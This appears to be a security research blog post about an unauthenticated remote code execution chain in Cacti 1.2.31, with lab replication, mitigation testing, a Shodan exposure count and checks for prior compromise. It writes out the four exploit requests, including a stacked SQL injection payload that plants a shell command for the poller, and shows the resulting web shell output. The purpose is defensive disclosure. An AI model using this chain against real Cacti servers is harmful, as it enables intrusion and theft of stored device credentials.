On November 26, 2026, a researcher published an unauthenticated, four-request RCE for Cacti 1.2.31, branded 4HTTP2SHELL (yes, another one). [2] As of this writing (December 3, 2026), Cacti 1.2.32 hasn't been released yet. A maintenance patch is available for 1.2.31, but it hasn't been included in an official stable release. [1][3] If you're reading this later, check Cacti's release notes for the latest patch status.
We replicated it in an isolated lab, tested whether disabling the guest account actually works as a temporary mitigation, and ran a Shodan search which returned around 2,584 internet-facing Cacti instances. Disabling guest access worked in our lab, but there are a few things to be aware of when applying this mitigation.
Why target Cacti?
Cacti is open-source network monitoring software. You point it at your estate (routers, switches, firewalls, Linux hosts, databases, UPSes), and it polls them over SNMP, stores the results in RRD files, and draws the graphs you actually look at in a PHP web UI. Cacti is relatively lightweight and is often left running for years without much attention.
What's interesting from a security perspective is the amount of sensitive information stored on a Cacti server. To monitor a device, Cacti has to store that device's credentials: SNMP community strings, device logins, service accounts, database passwords sitting in its own config files. If an attacker compromises the Cacti server, they could get hold of the credentials for the devices it's monitoring and use those to gain further access to the management network.
The vulnerability: 4HTTP2SHELL
The researcher who found it named it 4HTTP2SHELL, for the four HTTP requests it takes to go from an unauthenticated guest session to remote code execution. [2] Here's the chain as we ran it in our lab.
Request 1: get a guest session
GET /auth_profile.php?tab=general&header=false HTTP/1.1
When guest access is enabled, this request logs us in as the guest account automatically with no password required, and the response hands back a CSRF token we'll need for the next step.
Request 2: write a malicious "setting"
POST /auth_profile.php?tab=general&action=update_data&header=false HTTP/1.1
__csrf_magic=<token>
name=preview_graphs_per_page
value=1;UPDATE poller_item SET arg1=0x<hex_shell_command> WHERE local_data_id=1;--This is the heart of the bug: action=update_data stores any posted value for a known setting key without validating its type. preview_graphs_per_page is supposed to be a plain integer, but nothing enforces that, so we store a stacked SQL statement in it instead.

poller_item.arg1Request 3: fire the injection
GET /graph_view.php?action=preview&page=1&clear=1 HTTP/1.1
On the preview page, that stored setting becomes the default for the graphs request variable, and defaults are applied without running the field's integer filter. The value is then concatenated straight into the LIMIT clause of an unprepared query:
SELECT ... LIMIT 1;UPDATE poller_item SET arg1=0x...;--
That works because the database connection allows more than one command per query. The semicolon doesn't get cut off, and it runs straight through to the second statement.
Request 4: run the command
GET /graph_realtime.php?action=init&local_graph_id=1&ds_step=10&size=90 HTTP/1.1
The realtime poller reads poller_item.arg1 and runs it through popen(). Our command executes and drops a web shell:
[+] SUCCESS! Shell is working:
4HTTP-SHELL
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Four unauthenticated requests, and we're sitting on code execution as www-data.
Why it worked
For this attack to work, it relies on the following four conditions:
- Guest auto-login hands an unauthenticated visitor a working session.
- Missing input validation:
update_dataaccepts strings for settings that are supposed to be numeric. - Unsafe handling of default values: Default values are not subject to the same integer validation as explicitly supplied inputs.
- Unsafe command execution: The poller uses
popen()to execute stored commands without sufficient restrictions.
Cacti's patch addresses the underlying validation issue and adds further restrictions around guest access and profile settings. [3]
We ran it
We built a clean lab: Cacti 1.2.31 on Ubuntu 22.04, Apache 2.4.52, MariaDB 10.6, and PHP 8.1, with one graph, one poller item, and realtime graphing turned on. Then we ran the chain exactly as described above. It worked first try, landing a shell as www-data.

www-dataTesting the guest account mitigation
Cacti's own advisory recommends disabling the guest account and waiting for a patch. [1] We wanted to see if this actually worked, so we tested it in our lab.

Setting Console, Configuration, Settings, Authentication, Guest User to No User correctly bounced unauthenticated requests to the login page and broke the chain. That part checks out. A couple of things stood out while we were testing it, though.
The important setting here is Guest User, not whether the guest account itself is enabled. We verified the change from a logged out browser rather than trusting the settings page alone. If we can still access the graphs while logged out, guest access hasn't been properly disabled.

However, even with guest access disabled, an authenticated user can still exploit the vulnerability. Cacti's own advisory notes that reaching the injection needs just two permissions, View Graphs and Update Profile, both of which sit in the default "Normal User" role. [1] A low-privileged account with these permissions, not only guest, can run the same injection and escalate itself to admin. Disabling guest removes the unauthenticated path into the bug. It does nothing about the bug itself.
It also isn't only 1.2.31 that's exposed. Cacti's advisory lists everything up to and including 1.2.31 as affected, with a fix merged to the 1.2.31 branch but not yet in a released version. [1] The public proof of concept was only demonstrated against 1.2.31 because that happens to be the current release. The advisory's own version range makes clear the exposure goes back further than that. If you're running any 1.2.x build, assume you're in scope.
Why disabling guest access isn't enough
Disabling guest access won't remove anything that may have already been planted on the server.
Anything the chain already planted, a dropped webshell, a malicious command in poller_item, stays there. We saw this in our lab: a host still carrying artifacts from an earlier run kept acting compromised until we removed the shell file and reset the poller_item and settings_user rows by hand.
So if a Cacti instance was ever internet-facing with guest enabled, don't stop at fixing the setting. Check for prior compromise too (see "Mitigation and recommendations" below).
2,584 internet-facing instances
We were also curious to see how many Cacti instances were exposed to the internet, so we ran a favicon hash search on Shodan.
Query: http.favicon.hash:-1797138069 (Cacti's default favicon, a more reliable match than page title, which gets customised or translated)
Date: 2026-12-03
Results: 2,584

| Region | Count |
|---|---|
| Indonesia | 1,231 |
| Bangladesh | 294 |
| United States | 127 |
| China | 94 |
| Philippines | 72 |
A simpler title:"Cacti" search returns 4,575, almost double. So treat 2,584 as a rough number, not an exact one.
Either way, this only counts reachable Cacti UIs, not confirmed-vulnerable ones. [4] Guest access ships off by default, and we have no passive way to check from Shodan which of these have it turned on, or which version they're running. And guest-off doesn't mean safe either, since the same bug is reachable by any logged-in user.
Impact of a compromised Cacti server
Depending on how Cacti has been configured and what devices it's monitoring, an attacker could potentially gain access to:
- SNMP community strings for every monitored device
- Device logins and service accounts
- Database passwords sitting in config files
- A foothold with routes straight into the management network

All four requests hit normal Cacti pages, which makes the attack difficult to spot from standard access logs alone. Two things worth looking out for are the web server spawning unexpected shell processes and new PHP files appearing in the Cacti web root.
Mitigation and recommendations
If you run any Cacti 1.2.x, here are a few things we'd recommend:
- Apply the patch. The fix has been merged into the
1.2.31branch, but is not yet part of a stable release as of December 3, 2026. [3] If you can't patch immediately, restrict access to Cacti to trusted users. - Set Guest User to
No User,guest_useris the setting that controls auto-login, not the account's enabled flag. - Verify that guest access is disabled. Try accessing Cacti from a logged-out browser. You should be redirected to the login page.
- Don't rely on disabling guest access alone. According to Cacti's advisory, authenticated users with the required permissions can still exploit the underlying SQL injection. [1] Review which users have these permissions and whether they actually need them.
- Check for signs of prior compromise. This is particularly important if your Cacti instance has been accessible from the internet.
- Keep the UI off the open internet. VPN or IP allowlist.
- Rotate stored credentials if you were exposed. SNMP strings, device passwords, service accounts
Checking for prior compromise
SELECT local_data_id, arg1 FROM poller_item;
arg1 should just be a short command or nothing. Unusually long commands or unexpected shell metacharacters such as ; are worth investigating.
SELECT user_id, name, value FROM settings_user WHERE name = 'preview_graphs_per_page';
This is supposed to be a plain number. Any unexpected values are worth investigating.
These two tables are a good place to start since the attack goes through both of them. The webshell is a bit trickier to find as it could have any filename and be anywhere that www-data can write to. You can start by looking for PHP files newer than your Cacti installation, but even if nothing turns up, it doesn't necessarily mean the host is clean.

If you do find signs of compromise, don't just remove the artifacts and assume the server is clean. We'd recommend following your usual incident response process to establish the extent of the compromise.
Limitations of our testing
- Cacti versions other than 1.2.31 (the code suggests the whole 1.2.x line, untested).
- The authenticated Normal-User path end to end (established from the advisory, not run).
- Any OS other than Ubuntu 22.04, or any database backend other than MariaDB 10.6.
- Whether the branch patch (PR #9013) blocks the chain in our own lab (we verified the Guest User setting alone).
- This research is specific to our lab, so verify against your own environment before acting on any of it.
References
- Cacti Group - security advisory GHSA-5x85-g4vc-gq53, published 2026-11-29.
github.com/Cacti/cacti/security/advisories/GHSA-5x85-g4vc-gq53 - watchTowr - "4HTTP2ROOT FAQ: Cacti Zero-Day Exposure and Fix," published 2026-11-26
watchtowr.com/intelligence/4http2root-cacti-zero-day-faq/Public proof-of-concept chain published by researcher "ek0ms savi0r," 2026-11-26 (not linked here). - Cacti Group - PR #9013, merged 2026-11-28.
github.com/Cacti/cacti/pull/9013 - Cloud Security Alliance - research note on exposure caveats, published 2026-11-28.
labs.cloudsecurityalliance.org/research/csa-research-note-cacti-4http2shell-monitoring-plane-zero-da/